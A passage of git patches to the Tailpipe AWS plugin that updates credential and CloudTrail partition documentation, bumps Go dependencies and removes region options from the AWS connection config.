-role_arn = arn:aws:iam::222222222222:role/spc_role +role_arn = arn:aws:iam::222222222222:role.tpc_role source_profile = cli_user external_id = yyyyy ``` -#### aws.spc: +#### aws.tpc: ```hcl connection "aws_account_a" { @@ -219,7 +230,7 @@ Currently Tailpipe doesn't support prompting for an MFA token at run time. To ov One way to accomplish this is to use the `credential_process` to [generate the credentials with a script or program](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sourcing-external.html) and cache the tokens in a new profile. There is a [sample `mfa.sh` script](https://raw.githubusercontent.com/turbot/tailpipe-plugin-aws/main/scripts/mfa.sh) in the `scripts` directory of the [tailpipe-plugin-aws](https://github.com/turbot/tailpipe-plugin-aws) repo that you can use, and there are several open source projects that automate this process as well. -Note that Tailpipe cannot prompt you for your token currently, so you must authenticate before starting Tailpipe, and re-authenticate outside of Tailpipe whenever your credentials expire. +Note that Tailpipe cannot prompt you for your token currently, so you must authenticate before running `tailpipe collect`, and re-authenticate outside of Tailpipe whenever your credentials expire. #### aws credential file: @@ -236,7 +247,7 @@ credential_process = sh -c 'mfa.sh arn:aws:iam::111111111111:role/my_role arn:aw credential_process = sh -c 'mfa.sh arn:aws:iam::222222222222:role/my_role arn:aws:iam::999999999999:mfa/my_role_mfa cli_user 2> $(tty)' ``` -#### aws.spc: +#### aws.tpc: ```hcl connection "aws_account_a" { @@ -255,6 +266,7 @@ If you are using Tailpipe on AWS ECS then you need to ensure that have separated The Task Role should have permissions to assume your service role. Additionally your service role needs a trust relationship set up, and have permissions to assume your other roles. #### Task Role IAM Assume Role + ```json { "Version": "2012-10-17" @@ -273,6 +285,7 @@ The Task Role should have permissions to assume your service role. Additionally ``` #### Service Role + ```json { "Version": "2012-10-17", @@ -289,7 +302,7 @@ The Task Role should have permissions to assume your service role. Additionally } ``` -This will allow you to configure tailpipe now to assume the service role. +This will allow you to configure Tailpipe now to assume the service role. #### aws credential file: @@ -307,7 +320,7 @@ source_profile = default Tailpipe can use profiles that use [aws-vault](https://github.com/99designs/aws-vault) via the `credential_process`. aws-vault can even be used when using AssumeRole Credentials with MFA (you must authenticate/re-authenticate outside of Tailpipe whenever your credentials expire if you are using MFA). -When authenticating with temporary credentials, like using an access key pair with aws-vault, some IAM and STS APIs may be restricted. You can avoid creating a temporary session with the `--no-session` option (e.g., `aws-vault exec my_profile --no-session -- tailpipe query "select name from aws_iam_user;"`). For more information, please see [aws-vault Temporary credentials limitations with STS, IAM +When authenticating with temporary credentials, like using an access key pair with aws-vault, some IAM and STS APIs may be restricted. You can avoid creating a temporary session with the `--no-session` option (e.g., `aws-vault exec my_profile --no-session -- tailpipe collect aws_cloudtrail_log"`). For more information, please see [aws-vault Temporary credentials limitations with STS, IAM ](https://github.com/99designs/aws-vault/blob/master/USAGE.md#temporary-credentials-limitations-with-sts-iam). #### aws credential file: @@ -322,7 +335,7 @@ role_arn = arn:aws:iam::123456789012:role/my_role mfa_serial = arn:aws:iam::123456789012:mfa/my_role_mfa ``` -#### aws.spc: +#### aws.tpc: ```hcl connection "aws_account_a" { @@ -343,7 +356,7 @@ connection "aws_account_a" { ### Credentials from Environment Variables -The AWS plugin will use the standard AWS environment variables to obtain credentials **only if other arguments (`profile`, `access_key`/`secret_key`, `regions`) are not specified** in the connection: +The AWS plugin will use the standard AWS environment variables to obtain credentials **only if other arguments (`profile`, `access_key`/`secret_key`) are not specified** in the connection: ```sh export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE @@ -355,4 +368,4 @@ export AWS_ROLE_SESSION_NAME=tailpipe@myaccount ### Credentials from an EC2 Instance Profile -If you are running Tailpipe on a AWS EC2 instance, and that instance has an [instance profile attached](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html) then Tailpipe will automatically use the associated IAM role without other credentials: +If you are running Tailpipe on a AWS EC2 instance, and that instance has an [instance profile attached](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html) then Tailpipe will automatically use the associated IAM role without other credentials. diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md index 5649d370..8567776f 100644 --- a/docs/tables/aws_cloudtrail_log/index.md +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -1,15 +1,36 @@ --- title: "Tailpipe Table: aws_cloudtrail_log - Query AWS CloudTrail Logs" -description: "Allows users to query AWS CloudTrail logs." +description: "AWS CloudTrail logs capture API activity and user actions within your AWS account." --- # Table: aws_cloudtrail_log - Query AWS CloudTrail logs The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. +## Configure + +Create a [partition](https://tailpipe.io/docs/manage/partition) for `aws_cloudtrail_log`: + +```sh +vi ~/.tailpipe/config/aws.tpc +``` + +```hcl +connection "aws" "logging_account" { + profile = "my-logging-account" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.logging_account + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + ## Collect -[Collect](https://tailpipe.io/docs/manage/collection) logs for all `aws_cloudtrail_log` [partitions](https://tailpipe.io/docs/manage/partition): +[Collect](https://tailpipe.io/docs/manage/collection) logs for all `aws_cloudtrail_log` partitions: ```sh tailpipe collect aws_cloudtrail_log From f046dfb5fe6c33375b8ef6c0b28ea52ff4d968c3 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Wed, 29 Jan 2025 00:13:40 -0500 Subject: [PATCH 170/180] Add link to examples in aws_cloudtrail_log table doc --- docs/tables/aws_cloudtrail_log/index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md index 8567776f..ac7869e7 100644 --- a/docs/tables/aws_cloudtrail_log/index.md +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -9,7 +9,7 @@ The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs ## Configure -Create a [partition](https://tailpipe.io/docs/manage/partition) for `aws_cloudtrail_log`: +Create a [partition](https://tailpipe.io/docs/manage/partition) for `aws_cloudtrail_log` ([examples](https://hub.tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#example-configurations): ```sh vi ~/.tailpipe/config/aws.tpc From 156b5afceaf70971906171a6425caad7e09d4a6e Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 29 Jan 2025 17:15:39 +0000 Subject: [PATCH 171/180] Remove replace for pipe-fittings and tailpipe plugin sdk Update pipe-fittings to reference v2 --- go.mod | 18 ++++-------------- go.sum | 18 ++++-------------- sources/s3_bucket_source.go | 2 +- tables/cloudtrail_log_table.go | 2 +- 4 files changed, 10 insertions(+), 30 deletions(-) diff --git a/go.mod b/go.mod index 1ae060a5..d0be4f7f 100644 --- a/go.mod +++ b/go.mod @@ -2,11 +2,7 @@ module github.com/turbot/tailpipe-plugin-aws go 1.23.2 -replace github.com/turbot/tailpipe-plugin-sdk => ../tailpipe-plugin-sdk - -replace github.com/turbot/pipe-fittings => ../pipe-fittings - -require github.com/turbot/tailpipe-plugin-sdk v0.0.0 +require github.com/turbot/tailpipe-plugin-sdk v0.1.0-rc.0 require ( cloud.google.com/go v0.115.0 // indirect @@ -65,11 +61,11 @@ require ( github.com/goccy/go-yaml v1.11.2 // indirect github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/golang/protobuf v1.5.4 // indirect + github.com/google/go-cmp v0.6.0 // indirect github.com/google/s2a-go v0.1.7 // indirect github.com/google/uuid v1.6.0 // indirect github.com/googleapis/enterprise-certificate-proxy v0.3.2 // indirect github.com/googleapis/gax-go/v2 v2.13.0 // indirect - github.com/gopherjs/gopherjs v1.17.2 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-getter v1.7.5 // indirect @@ -95,7 +91,6 @@ require ( github.com/jackc/pgx/v5 v5.6.0 // indirect github.com/jackc/puddle/v2 v2.2.1 // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect - github.com/jtolds/gls v4.20.0+incompatible // indirect github.com/karrick/gows v0.3.0 // indirect github.com/klauspost/compress v1.17.11 // indirect github.com/leodido/go-urn v1.4.0 // indirect @@ -122,11 +117,9 @@ require ( github.com/rivo/uniseg v0.2.0 // indirect github.com/sagikazarmark/locafero v0.4.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect - github.com/satyrius/gonx v1.4.0 // indirect github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect github.com/sirupsen/logrus v1.9.3 // indirect - github.com/smarty/assertions v1.15.0 // indirect github.com/sourcegraph/conc v0.3.0 // indirect github.com/spf13/afero v1.11.0 // indirect github.com/spf13/cast v1.6.0 // indirect @@ -134,6 +127,7 @@ require ( github.com/spf13/pflag v1.0.5 // indirect github.com/spf13/viper v1.19.0 // indirect github.com/stevenle/topsort v0.2.0 // indirect + github.com/stretchr/testify v1.10.0 // indirect github.com/subosito/gotenv v1.6.0 // indirect github.com/tklauser/go-sysconf v0.3.9 // indirect github.com/tklauser/numcpus v0.3.0 // indirect @@ -183,16 +177,12 @@ require ( github.com/aws/aws-sdk-go-v2/config v1.28.11 github.com/aws/aws-sdk-go-v2/credentials v1.17.52 github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.49 - github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 - github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1 github.com/aws/aws-sdk-go-v2/service/s3 v1.72.3 github.com/elastic/go-grok v0.3.1 - github.com/google/go-cmp v0.6.0 github.com/hashicorp/hcl/v2 v2.20.1 github.com/rs/dnscache v0.0.0-20230804202142-fc85eb664529 github.com/rs/xid v1.5.0 - github.com/stretchr/testify v1.10.0 github.com/turbot/go-kit v0.10.0-rc.0 - github.com/turbot/pipe-fittings v1.4.1 + github.com/turbot/pipe-fittings/v2 v2.0.0-rc.1 golang.org/x/sync v0.10.0 ) diff --git a/go.sum b/go.sum index f06e3a12..bcef0336 100644 --- a/go.sum +++ b/go.sum @@ -236,10 +236,6 @@ github.com/aws/aws-sdk-go-v2/internal/ini v1.8.1 h1:VaRN3TlFdd6KxX1x3ILT5ynH6HvK github.com/aws/aws-sdk-go-v2/internal/ini v1.8.1/go.mod h1:FbtygfRFze9usAadmnGJNc8KsP346kEe+y2/oyhGAGc= github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.27 h1:AmB5QxnD+fBFrg9LcqzkgF/CaYvMyU/BTlejG4t1S7Q= github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.27/go.mod h1:Sai7P3xTiyv9ZUYO3IFxMnmiIP759/67iQbU4kdmkyU= -github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 h1:pnvujeesw3tP0iDLKdREjPAzxmPqC8F0bov77VN2wSk= -github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3/go.mod h1:eJZGfJNuTmvBgiy2O5XIPlHMBi4GUYoJoKZ6U6wCVVk= -github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1 h1:0A05jzCVA6W/UFqdtpKm8KXE8QhcEn/Fn01Zxsq2Owg= -github.com/aws/aws-sdk-go-v2/service/guardduty v1.50.1/go.mod h1:tfpIzAIeMtSUucGN87ZUA2u5Lqnc04ManYSk3smJpGc= github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.12.1 h1:iXtILhvDxB6kPvEXgsDhGaZCSC6LQET5ZHSdJozeI0Y= github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.12.1/go.mod h1:9nu0fVANtYiAePIBh2/pFUSwtJ402hLnp854CNoDOeE= github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.4.8 h1:iwYS40JnrBeA9e9aI5S6KKN4EB2zR4iUVYN0nwVivz4= @@ -468,8 +464,6 @@ github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMd github.com/googleapis/gax-go/v2 v2.13.0 h1:yitjD5f7jQHhyDsnhKEBU52NdvvdSeGzlAnDPT0hH1s= github.com/googleapis/gax-go/v2 v2.13.0/go.mod h1:Z/fvTZXF8/uw7Xu5GuslPw+bplx6SS338j1Is2S+B7A= github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= -github.com/gopherjs/gopherjs v1.17.2 h1:fQnZVsXk8uxXIStYb0N4bGk7jeyTalG/wsZjQ25dO0g= -github.com/gopherjs/gopherjs v1.17.2/go.mod h1:pRRIvn/QzFLrKfvEz3qUuEhtE/zLCWfreZ6J5gM2i+k= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= @@ -538,8 +532,6 @@ github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGw github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= -github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7C0MuV77Wo= -github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/karrick/gows v0.3.0 h1:/FGSuBiJMUqNOJPsAdLvHFg7RnkFoWBS8USpdco5ONQ= github.com/karrick/gows v0.3.0/go.mod h1:kdZ/jfdo8yqKYn+BMjBkhP+/oRKUABR1abaomzRi/n8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= @@ -629,18 +621,12 @@ github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6ke github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ= -github.com/satyrius/gonx v1.4.0 h1:F3uxif5Yx6FBzdQAh79bHQK6CTJugOcN0w0Z8azQuQg= -github.com/satyrius/gonx v1.4.0/go.mod h1:+r8KNe5d2tjkZU+DfhERo0G6KxkGih+1qYF6tqLHwvk= github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 h1:v9ezJDHA1XGxViAUSIoO/Id7Fl63u6d0YmsAm+/p2hs= github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02/go.mod h1:RF16/A3L0xSa0oSERcnhd8Pu3IXSDZSK2gmGIMsttFE= github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= -github.com/smarty/assertions v1.15.0 h1:cR//PqUBUiQRakZWqBiFFQ9wb8emQGDb0HeGdqGByCY= -github.com/smarty/assertions v1.15.0/go.mod h1:yABtdzeQs6l1brC900WlRNwj6ZR55d7B+E8C6HtKdec= -github.com/smartystreets/goconvey v1.8.1 h1:qGjIddxOk4grTu9JPOU31tVfq3cNdBlNa5sSznIX1xY= -github.com/smartystreets/goconvey v1.8.1/go.mod h1:+/u4qLyY6x1jReYOp7GOM2FSt8aP9CzCZL03bI28W60= github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo= github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0= github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= @@ -683,12 +669,16 @@ github.com/tkrajina/go-reflector v0.5.6 h1:hKQ0gyocG7vgMD2M3dRlYN6WBBOmdoOzJ6njQ github.com/tkrajina/go-reflector v0.5.6/go.mod h1:ECbqLgccecY5kPmPmXg1MrHW585yMcDkVl6IvJe64T4= github.com/turbot/go-kit v0.10.0-rc.0 h1:kd+jp2ibbIV33Hc8SsMAN410Dl9Pz6SJ40axbKUlSoA= github.com/turbot/go-kit v0.10.0-rc.0/go.mod h1:fFQqR59I5z5JeeBLfK1PjSifn4Oprs3NiQx0CxeSJxs= +github.com/turbot/pipe-fittings/v2 v2.0.0-rc.1 h1:G7PpOmolqab5Pf+LKmKrHZ8OJd7ifJm3KqgxIngPXJo= +github.com/turbot/pipe-fittings/v2 v2.0.0-rc.1/go.mod h1:4srBITqYs/VWpgpqjQmJejJ3akkPVRueCHQa9CiETr0= github.com/turbot/pipes-sdk-go v0.9.1 h1:2yRojY2wymvJn6NQyE6A0EDFV267MNe+yDLxPVvsBwM= github.com/turbot/pipes-sdk-go v0.9.1/go.mod h1:Mb+KhvqqEdRbz/6TSZc2QWDrMa5BN3E4Xw+gPt2TRkc= github.com/turbot/steampipe-plugin-code v0.7.0 h1:SROYIo/TI/Q/YNfXK+sAIS71umypUFm1Uz851TmoJkM= github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKkIzl7aZKAFtIsyAR+z4YI= github.com/turbot/steampipe-plugin-sdk/v5 v5.8.0 h1:e/5EYO7B7UZW6joxO/wqtJGYFu+7NMCqMk/tPVbquFY= github.com/turbot/steampipe-plugin-sdk/v5 v5.8.0/go.mod h1:tYRC7FDKPTZ3MSty/tGLtH6UnVpU3zs1osF5DuktB5Q= +github.com/turbot/tailpipe-plugin-sdk v0.1.0-rc.0 h1:HYRJ4IqwUhGscb+WgG2P1SN3kH1n+XGPxafShYrd3rg= +github.com/turbot/tailpipe-plugin-sdk v0.1.0-rc.0/go.mod h1:ISLG0B02WcUMFGcwOWOgioFkh4o/vOQSV/XWjTDZWnA= github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7 h1:qDMxFVd8Zo0rIhnEBdCIbR+T6WgjwkxpFZMN8zZmmjg= github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7/go.mod h1:5hzpfalEjfcJWp9yq75/EZoEu2Mzm34eJAPm3HOW2tw= github.com/ulikunitz/xz v0.5.10 h1:t92gobL9l3HE202wg3rlk19F6X+JOxl9BBrCCMYEYd8= diff --git a/sources/s3_bucket_source.go b/sources/s3_bucket_source.go index 6b3f70ee..96576920 100644 --- a/sources/s3_bucket_source.go +++ b/sources/s3_bucket_source.go @@ -17,7 +17,7 @@ import ( "github.com/aws/aws-sdk-go-v2/service/s3" "github.com/elastic/go-grok" typehelpers "github.com/turbot/go-kit/types" - "github.com/turbot/pipe-fittings/filter" + "github.com/turbot/pipe-fittings/v2/filter" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/row_source" diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 19463976..3a94b438 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -6,7 +6,7 @@ import ( "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/pipe-fittings/v2/utils" "github.com/turbot/tailpipe-plugin-aws/extractors" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-aws/sources" From 94e52bf6f21f5aceee47e689236b295d2524f460 Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 29 Jan 2025 21:16:18 +0000 Subject: [PATCH 172/180] refactor: removed DefaultRegion / Regions from Connection Config --- config/aws_connection.go | 41 +++++++++------------------------------- 1 file changed, 9 insertions(+), 32 deletions(-) diff --git a/config/aws_connection.go b/config/aws_connection.go index d5fe71a0..7ca0d9c7 100644 --- a/config/aws_connection.go +++ b/config/aws_connection.go @@ -25,16 +25,14 @@ import ( const PluginName = "aws" type AwsConnection struct { - Regions []string `hcl:"regions,optional"` - DefaultRegion *string `hcl:"default_region"` - Profile *string `hcl:"profile"` - AccessKey *string `hcl:"access_key"` - SecretKey *string `hcl:"secret_key"` - SessionToken *string `hcl:"session_token"` - MaxErrorRetryAttempts *int `hcl:"max_error_retry_attempts"` - MinErrorRetryDelay *int `hcl:"min_error_retry_delay"` - EndpointUrl *string `hcl:"endpoint_url"` - S3ForcePathStyle *bool `hcl:"s3_force_path_style"` + Profile *string `hcl:"profile"` + AccessKey *string `hcl:"access_key"` + SecretKey *string `hcl:"secret_key"` + SessionToken *string `hcl:"session_token"` + MaxErrorRetryAttempts *int `hcl:"max_error_retry_attempts"` + MinErrorRetryDelay *int `hcl:"min_error_retry_delay"` + EndpointUrl *string `hcl:"endpoint_url"` + S3ForcePathStyle *bool `hcl:"s3_force_path_style"` } func (c *AwsConnection) Validate() error { @@ -95,12 +93,7 @@ func (c *AwsConnection) GetClientConfiguration(ctx context.Context, overrideRegi if overrideRegion != nil { cfg.Region = *overrideRegion } else if cfg.Region == "" { - defaultRegion := c.getDefaultRegion() - configOptions = append(configOptions, config.WithRegion(defaultRegion)) - cfg, err = config.LoadDefaultConfig(ctx, configOptions...) - if err != nil { - return nil, fmt.Errorf("error loading AWS config: %w", err) - } + cfg.Region = "us-east-1" } // retry handling @@ -146,22 +139,6 @@ func (c *AwsConnection) GetClientConfiguration(ctx context.Context, overrideRegi return &cfg, nil } -func (c *AwsConnection) getDefaultRegion() string { - if c.DefaultRegion != nil { - return *c.DefaultRegion - } - - for _, r := range c.Regions { - lastResort := awsLastResortRegionFromRegionWildcard(r) - if lastResort != "" { - return lastResort - } - } - - // ultimate fallback is to default to most common region - return "us-east-1" -} - // Helper function to get value from Config or environment variable func getConfigOrEnv(configValue *string, env string) string { if configValue != nil { From 2c9b6135643c031276cc6ef6cce6620f7edb60ea Mon Sep 17 00:00:00 2001 From: misraved Date: Thu, 30 Jan 2025 04:46:32 +0530 Subject: [PATCH 173/180] Fix formatting of examples link in aws_cloudtrail_log table documentation --- docs/tables/aws_cloudtrail_log/index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md index ac7869e7..4fd622eb 100644 --- a/docs/tables/aws_cloudtrail_log/index.md +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -9,7 +9,7 @@ The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs ## Configure -Create a [partition](https://tailpipe.io/docs/manage/partition) for `aws_cloudtrail_log` ([examples](https://hub.tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#example-configurations): +Create a [partition](https://tailpipe.io/docs/manage/partition) for `aws_cloudtrail_log` ([examples](https://hub.tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#example-configurations)): ```sh vi ~/.tailpipe/config/aws.tpc From 0c65759ef0377b71927c603b5bfe01fa1783121e Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Wed, 29 Jan 2025 22:20:00 -0500 Subject: [PATCH 174/180] Small doc fixes --- README.md | 6 +++--- docs/sources/aws_s3_bucket.md | 6 ++++-- docs/tables/aws_cloudtrail_log/index.md | 2 +- 3 files changed, 8 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 9b02e669..18f3dd87 100644 --- a/README.md +++ b/README.md @@ -124,19 +124,19 @@ cd tailpipe-plugin-aws After making your local changes, build the plugin, which automatically installs the new version to your `~/.tailpipe/plugins` directory: -``` +```sh make ``` Re-collect your data: -``` +```sh tailpipe collect aws_cloudtrail_log ``` Try it! -``` +```sh tailpipe query > .inspect aws_cloudtrail_log ``` diff --git a/docs/sources/aws_s3_bucket.md b/docs/sources/aws_s3_bucket.md index b00e3870..470ea12b 100644 --- a/docs/sources/aws_s3_bucket.md +++ b/docs/sources/aws_s3_bucket.md @@ -46,6 +46,8 @@ partition "aws_cloudtrail_log" "my_logs_prefix" { ### Collect CloudTrail logs with a custom path +Collect CloudTrail logs stored in an S3 bucket with a custom log file format. + ```hcl partition "aws_cloudtrail_log" "my_logs_custom_path" { source "aws_s3_bucket" { @@ -61,7 +63,7 @@ partition "aws_cloudtrail_log" "my_logs_custom_path" { | Argument | Required | Default | Description | |---------------|----------|--------------------------|----------------------------------------------------------------------------------------------------------------------------| | bucket | Yes | | The name of the S3 bucket to collect logs from. | -| connection | No | `connection.aws.default` | The [AWS connection](https://tailpipe.io/docs/reference/config-files/connection/aws) to use to connect to the AWS account. | +| connection | No | `connection.aws.default` | The [AWS connection](https://hub.tailpipe.io.plugins/turbot/aws#connection-credentials) to use to connect to the AWS account. | | file_layout | No | | The Grok pattern that defines the log file structure. | | prefix | No | | The S3 key prefix that comes after the name of the bucket you have designated for log file delivery. | @@ -69,4 +71,4 @@ partition "aws_cloudtrail_log" "my_logs_custom_path" { The following tables define their own default values for certain source arguments: -- **[aws_cloudtrail_log](https://tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#aws_s3_bucket)** +- **[aws_cloudtrail_log](https://hub.tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#aws_s3_bucket)** diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md index ac7869e7..ccb90132 100644 --- a/docs/tables/aws_cloudtrail_log/index.md +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -143,7 +143,7 @@ partition "aws_cloudtrail_log" "my_logs_prefix" { ### Collect logs from local files -You can also collect CloudTrail logs from local files, like the [flaws.cloud public dataset](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): +You can also collect CloudTrail logs from local files, like the [flaws.cloud public dataset](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/). ```hcl partition "aws_cloudtrail_log" "local_logs" { From ed3f3c02d8c89a34924ecb09c3d2905201375b08 Mon Sep 17 00:00:00 2001 From: Puskar Basu Date: Thu, 30 Jan 2025 09:42:19 +0530 Subject: [PATCH 175/180] Use main branch of steampipe-workflows --- .github/workflows/registry-publish.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/registry-publish.yml b/.github/workflows/registry-publish.yml index 3148fd1b..6fd47cfd 100644 --- a/.github/workflows/registry-publish.yml +++ b/.github/workflows/registry-publish.yml @@ -7,7 +7,7 @@ on: jobs: registry_publish_workflow_ghcr: - uses: turbot/steampipe-workflows/.github/workflows/registry-publish-ghcr.yml@extend-ghcr-publish + uses: turbot/steampipe-workflows/.github/workflows/registry-publish-ghcr.yml@main secrets: inherit with: releaseTimeout: 60m From 6998da8a9d4adaee144e8758b75fac4b0d0636ea Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Thu, 30 Jan 2025 00:06:54 -0500 Subject: [PATCH 176/180] Remove extra image in index doc --- docs/index.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/docs/index.md b/docs/index.md index ee20a095..6db1706b 100644 --- a/docs/index.md +++ b/docs/index.md @@ -116,8 +116,6 @@ Dashboards and detections are [open source](https://github.com/topics/tailpipe-m To get started, choose a mod from the [Powerpipe Hub](https://hub.powerpipe.io/?engines=tailpipe&q=aws). - - ## Connection Credentials ### Arguments From f9ee13ebd719c4d9bf1cbe1e41fde763cee49ccd Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 30 Jan 2025 10:21:11 +0000 Subject: [PATCH 177/180] Update plugin structure (#61) --------- Co-authored-by: kai --- aws/plugin.go | 17 +++++- config/aws_connection.go | 60 +------------------ go.mod | 2 +- go.sum | 4 +- sources/{ => s3_bucket}/s3_bucket_source.go | 8 +-- .../s3_bucket_source_config.go | 2 +- sources/s3_collection_state.go | 43 ------------- .../cloudtrail_log}/cloudtrail_log.go | 2 +- .../cloudtrail_log_extractor.go | 5 +- .../cloudtrail_log_table.go | 29 ++++----- .../cloudtrail_log}/cloudtrail_mapper.go | 17 ++++-- tables/helpers.go | 4 +- 12 files changed, 49 insertions(+), 144 deletions(-) rename sources/{ => s3_bucket}/s3_bucket_source.go (97%) rename sources/{ => s3_bucket}/s3_bucket_source_config.go (97%) delete mode 100644 sources/s3_collection_state.go rename {rows => tables/cloudtrail_log}/cloudtrail_log.go (99%) rename {extractors => 